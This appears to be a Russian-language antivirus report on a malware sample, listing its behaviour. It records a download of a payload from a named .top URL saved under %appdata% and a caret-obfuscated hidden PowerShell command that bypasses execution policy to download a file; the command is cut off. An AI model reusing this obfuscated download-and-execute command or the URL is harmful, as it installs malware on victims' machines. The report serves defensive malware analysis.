Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^ow^e^r^SH^ELL.^e^Xe -EX^ecuTi^o^Np^OLicY ^byPAs^s -^n^OPRo^FILe^ -^Wind^OwS^TyL^e hI^Dd^EN (ne^W^-O^bjEc^T ^SYSt^eM^.^N^eT^.WEBCl^Ie^nT).^dO^w^NL^o^AD^f^ILe('http://www....
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^ow^e^r^SH^ELL.^e^Xe -EX^ecuTi^o^Np^OLicY ^byPAs^s -^n^OPRo^FILe^ -^Wind^OwS^TyL^e hI^Dd^EN (ne^W^-O^bjEc^T ^SYSt^eM^.^N^eT^.WEBCl^Ie^nT).^dO^w^NL^o^AD^f^ILe('http://www....' (со скрытым окном)
